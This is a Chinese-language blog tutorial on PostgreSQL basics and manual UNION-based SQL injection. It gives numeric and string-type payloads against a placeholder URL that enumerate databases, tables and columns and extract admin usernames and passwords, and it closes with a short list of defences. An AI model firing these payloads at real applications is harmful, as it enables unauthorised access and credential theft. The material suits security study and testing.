PostgreSQL(Postgres)数据库基础用法 + 数字型 + 字符型 完整联合注入实战

前言

PostgreSQL(简称 PG、Postgres) 是目前开源界最强大、企业级最常用的数据库之一,语法严谨、功能强大,在 Web 渗透测试中出现频率极高。

本文从零带你掌握 PostgreSQL 基础必备知识点 ,再完整讲解数字型、字符型联合注入全流程,一步步爆出库名、表名、字段名、数据,步骤超详细、新手也能看懂。

⚠️ 免责声明:本文仅用于网络安全合法学习、企业自身漏洞自查,严禁用于未授权渗透、非法攻击、数据窃取,违规后果自负!


一、PostgreSQL 数据库基础必学知识点

1.1 基础核心概念

  1. 数据库(Database):PG 独立的库,和 MySQL 库概念一致。
  2. 模式(Schema) :库下面的分类,默认是 public
  3. 用户 / 角色:登录账号,权限分普通用户、超级用户(superuser)。
  4. :存在 库.模式.表名 结构下。

1.2 注入核心系统表 & 函数(最重要)

PostgreSQL 没有 MySQL 的 information_schema 那么简单,但有固定系统表

  1. pg_database:查所有数据库名
  2. pg_tables:查所有表名
  3. information_schema.columns:查所有字段名
  4. current_database():当前数据库名
  5. version():数据库版本
  6. current_user:当前登录用户

1.3 PG 基础语法特点

表格

功能 PostgreSQL 语法
查询版本 SELECT version();
当前库名 SELECT current_database();
当前用户 SELECT current_user;
联合查询 UNION / UNION ALL
注释符 -- /* */
字符串 单引号 '
无表查询 可直接 SELECT 1,无需伪表

二、PostgreSQL 联合注入核心知识点

2.1 什么是联合注入

通过 UNION SELECT 拼接恶意查询,把结果显示在页面回显位,直接读取敏感数据。

2.2 两大注入类型

  1. 数字型:无单引号包裹
  2. 字符型:单引号包裹(最常见)

2.3 注入必备条件

  • 页面有回显位置
  • 后端无过滤、无预编译
  • UNION 前后字段数量必须一致
  • 字段类型尽量兼容(数字、字符串可混用)

三、PostgreSQL 完整联合注入实战(数字型 + 字符型)

统一环境假设

  • 原查询字段数:3 个
  • 页面存在显位
  • 注释符:-- (必须带空格)

第一部分:数字型联合注入

原理

后台 SQL:

sql

复制代码
SELECT id,title,content FROM news WHERE id=1

无单引号,直接注入。

完整步骤

1. 判断注入

plaintext

复制代码
http://xxx.com/news?id=1'

页面报 PG 错误 → 存在注入。

2. 判断字段数

plaintext

复制代码
http://xxx.com/news?id=1 ORDER BY 3-- 

3 正常,4 报错 → 3 个字段

3. 判断显位

plaintext

复制代码
http://xxx.com/news?id=-1 UNION SELECT 1,2,3-- 
4. 爆库名、表名、字段、数据

sql

复制代码
-- 版本
?id=-1 UNION SELECT 1,version(),3-- 

-- 当前库名
?id=-1 UNION SELECT 1,current_database(),3-- 

-- 所有数据库
?id=-1 UNION SELECT 1,datname,3 FROM pg_database-- 

-- 所有表名
?id=-1 UNION SELECT 1,tablename,3 FROM pg_tables WHERE schemaname='public'-- 

-- 字段名
?id=-1 UNION SELECT 1,column_name,3 FROM information_schema.columns WHERE table_name='admin'-- 

-- 数据
?id=-1 UNION SELECT 1,username,password FROM admin-- 

第二部分:字符型联合注入(重点!实战最多)

核心原理

后台 SQL:

sql

复制代码
SELECT id,title FROM news WHERE name='test'

字符型固定格式:

plaintext

复制代码
?参数=xxx' 注入语句 -- 

规则:

  1. 单引号 ' 闭合前面
  2. 写注入语句
  3. -- 注释后面多余的单引号

字符型完整步骤

目标 URL:

plaintext

复制代码
http://xxx.com/news?name=test
1. 判断字符型注入

plaintext

复制代码
http://xxx.com/news?name=test'

报错 → 存在字符型注入。

2. 判断字段数

plaintext

复制代码
http://xxx.com/news?name=test' ORDER BY 3-- 
3. 判断显位

plaintext

复制代码
http://xxx.com/news?name=-1' UNION SELECT 1,2,3-- 
4. 字符型全套 Payload(直接复制用)

sql

复制代码
-- 版本
?name=-1' UNION SELECT 1,version(),3-- 

-- 当前库名
?name=-1' UNION SELECT 1,current_database(),3-- 

-- 所有库
?name=-1' UNION SELECT 1,datname,3 FROM pg_database-- 

-- 所有表
?name=-1' UNION SELECT 1,tablename,3 FROM pg_tables WHERE schemaname='public'-- 

-- 字段
?name=-1' UNION SELECT 1,column_name,3 FROM information_schema.columns WHERE table_name='admin'-- 

-- 数据
?name=-1' UNION SELECT 1,username,password FROM admin-- 

四、数字型 & 字符型 Payload 对比表

表格

操作 数字型 Payload 字符型 Payload
检测注入 ?id=1' ?name=test'
查字段数 ?id=1 ORDER BY 3-- ?name=test' ORDER BY 3--
查显位 ?id=-1 UNION SELECT 1,2,3-- ?name=-1' UNION SELECT 1,2,3--
查库名 ?id=-1 UNION SELECT 1,current_database(),3-- ?name=-1' UNION SELECT 1,current_database(),3--

五、PostgreSQL 注入记忆口诀

单引号闭合,联合查询拼字段,注释结尾带空格


六、PostgreSQL 注入防御方案

  1. 使用预编译语句,杜绝 SQL 拼接
  2. 过滤单引号、UNION、SELECT 等关键字
  3. 数据库账号使用最小权限
  4. 关闭数据库错误回显
  5. 使用 WAF 拦截注入攻击

七、结尾

到这里,PostgreSQL 数据库基础 + 数字型、字符型联合注入 全套教程就给大家彻底讲完了!从基础语法、系统表,到手工爆库、爆表、爆字段、脱数据,全部一步一步讲得清清楚楚。

PostgreSQL 是现在 Web 安全最常考、最常用的数据库之一,学会它,你就掌握了渗透测试里又一核心技能!

如果这篇干货对你有帮助,一定记得点赞、收藏、关注博主

相关推荐
冬奇Lab1 小时前
一天一个开源项目(第101篇):OpenHuman - 真正懂你的本地优先个人 AI 超级助手
人工智能·开源·资讯
m0_596749092 小时前
JavaScript中手动实现一个new操作符的底层逻辑
jvm·数据库·python
多加点辣也没关系2 小时前
Redis 的安装(详细教程)
数据库·redis·缓存
数据库小学妹2 小时前
数据库连接池避坑指南:告别“连接超时”与“资源耗尽”,让系统跑得更快!
数据库·redis·sql·mysql·缓存·dba
dishugj3 小时前
HANA 数据库备份与恢复
数据库·oracle
前进的李工3 小时前
EXPLAIN输出格式全解析:JSON、TREE与可视化
开发语言·数据库·mysql·性能优化·explain
難釋懷3 小时前
Redis网络模型-IO多路复用模型-poll模式
网络·数据库·redis
dFObBIMmai3 小时前
如何在 CSS 中实现元素的绝对定位,使其不受窗口尺寸变化影响
jvm·数据库·python
treesforest4 小时前
IP精准定位服务:从城市轮廓到街道坐标,技术如何重塑空间感知
网络·数据库·网络协议·tcp/ip·ip